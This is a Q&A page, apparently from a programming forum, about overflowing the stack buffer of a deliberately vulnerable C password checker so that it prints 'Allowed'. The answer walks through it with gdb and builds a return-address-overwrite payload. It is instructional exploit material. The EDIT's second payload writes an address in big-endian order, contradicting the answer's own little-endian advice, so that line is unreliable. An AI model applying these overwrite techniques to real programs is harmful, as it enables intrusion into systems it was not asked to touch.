Attempting a buffer overflow

buffer-overflow, c

Solution

This is quite easy to exploit, here is the way to walk through.

First compile it with `-g`, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved `eip` of `check_auth1()` and move it to the else-part of the test in the `main()` function.

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

We stopped at `check_auth1()` and displayed the stack frame. We saw that the saved `eip` is stored in the stack at `0xffffd2ec` and contains `0x804853f`.

Let see to what it does lead:

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave  
   0x0804856a <+107>:   ret    
End of assembler dump.

But the truth is that we want to avoid to go through the `cmpl $0x1,0x1c(%esp)` and go directly to the else-part of the test. Meaning that we want to jump to `0x08048558`.

Anyway, lets first try to see if our 28 '`A`' are enough to rewrite the saved `eip`.

(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

Here, the `strcpy` did the overflow, so lets look at the stack-frame:

(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

Indeed, we rewrote the saved eip with '`A`' (`0x41` is the hexadecimal code for `A`). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.

One thing is that you need to reorder the bytes to take the little-endianess into account. So, `0x08048558` will become `\x58\x85\x04\x08`.

Finally, you will also need to write some meaningful address for the saved `ebp` value (not `AAAA`), so my trick is just to double the last address like this:

$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

Note that there is no need to disable the ASLR, because you are jumping in the `.text` section (and this section do no move under the ASLR). But, you definitely need to disable canaries.

EDIT: I was wrong about replacing the saved `ebp` by our saved `eip`. In fact, if you do not give the right `ebp` you will hit a segfault when attempting to exit from `main`. This is because, we did set the saved `ebp` to somewhere in the `.text` section and, even if there is no problem when returning from `check_auth1`, the stack frame will be restored improperly when returning in the `main` function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved `ebp` we wrote (and pointing to the instructions) will be mistaken with the saved `eip` of `main`. So, either you disable the ASLR and write the correct address of the saved `ebp` (`0xffffd330`) which will lead to

 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

Or, you need to perform a ROP that will perform a clean `exit(0)` (which is usually quite easy to achieve).

Problem

I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code: ``` #include <stdio.h> #include <string.h> #include <stdlib.h> int check_auth1(char *password) { char password_buffer[8]; int auth_flag = 0; strcpy(password_buffer, password); if (strcmp(password_buffer, "cup") == 0) { auth_flag = 1; } return auth_flag; } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <password>\n", argv[0]); exit(0); } int authenticated = check_auth1(argv[1]); if (authenticated != 1) { printf("NOT Allowed.\n"); } else { printf("Allowed.\n"); } return 0; } ``` I'm using gdb to analyse the stack and this is what I have: ``` 0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4 0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d 0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f 0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225 0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4 0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3 0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858 0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000 [1] $ebp 0xbffff6f8 [2] $esp 0xbffff6d0 [3] password 0xbffff700 [4] auth_flag 0xbffff6ec [5] password_buffer 0xbffff6e4 0x080484ce <+0>: push %ebp 0x080484cf <+1>: mov %esp,%ebp 0x080484d1 <+3>: and $0xfffffff0,%esp 0x080484d4 <+6>: sub $0x20,%esp 0x080484d7 <+9>: cmpl $0x1,0x8(%ebp) 0x080484db <+13>: jg 0x80484ff <main+49> 0x080484dd <+15>: mov 0xc(%ebp),%eax 0x080484e0 <+18>: mov (%eax),%edx 0x080484e2 <+20>: mov $0x8048614,%eax 0x080484e7 <+25>: mov %edx,0x4(%esp) 0x080484eb <+29>: mov %eax,(%esp) 0x080484ee <+32>: call 0x8048360 <printf@plt> 0x080484f3 <+37>: movl $0x0,(%esp) 0x080484fa <+44>: call 0x80483a0 <exit@plt> 0x080484ff <+49>: mov 0xc(%ebp),%eax 0x08048502 <+52>: add $0x4,%eax 0x08048505 <+55>: mov (%eax),%eax 0x08048507 <+57>: mov %eax,(%esp) ---------- IMPORTANT STUFF STARTS NOW 0x0804850a <+60>: call 0x8048474 <check_auth1> 0x0804850f <+65>: mov %eax,0x1c(%esp) 0x08048513 <+69>: cmpl $0x1,0x1c(%esp) 0x08048518 <+74>: je 0x8048528 <main+90> ``` I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes So with 14 'A' input, i.e. `./stackoverflowtest $(perl -e 'print "A" x 14')` it should take me to "Allowed". Where am I going wrong? What is the needed input to cause a overflow? ASLR and gcc canaries are turned off. check_auth1 assembly dump: ``` Dump of assembler code for function check_auth1: 0x08048474 <+0>: push %ebp 0x08048475 <+1>: mov %esp,%ebp 0x08048477 <+3>: push %edi 0x08048478 <+4>: push %esi 0x08048479 <+5>: sub $0x20,%esp => 0x0804847c <+8>: movl $0x0,-0xc(%ebp) 0x08048483 <+15>: mov 0x8(%ebp),%eax 0x08048486 <+18>: mov %eax,0x4(%esp) 0x0804848a <+22>: lea -0x14(%ebp),%eax 0x0804848d <+25>: mov %eax,(%esp) 0x08048490 <+28>: call 0x8048370 <strcpy@plt> 0x08048495 <+33>: lea -0x14(%ebp),%eax 0x08048498 <+36>: mov %eax,%edx 0x0804849a <+38>: mov $0x8048610,%eax 0x0804849f <+43>: mov $0x4,%ecx 0x080484a4 <+48>: mov %edx,%esi 0x080484a6 <+50>: mov %eax,%edi 0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi) 0x080484aa <+54>: seta %dl 0x080484ad <+57>: setb %al 0x080484b0 <+60>: mov %edx,%ecx 0x080484b2 <+62>: sub %al,%cl 0x080484b4 <+64>: mov %ecx,%eax 0x080484b6 <+66>: movsbl %al,%eax 0x080484b9 <+69>: test %eax,%eax 0x080484bb <+71>: jne 0x80484c4 <check_auth1+80> 0x080484bd <+73>: movl $0x1,-0xc(%ebp) 0x080484c4 <+80>: mov -0xc(%ebp),%eax 0x080484c7 <+83>: add $0x20,%esp 0x080484ca <+86>: pop %esi 0x080484cb <+87>: pop %edi 0x080484cc <+88>: pop %ebp 0x080484cd <+89>: ret ```

Original source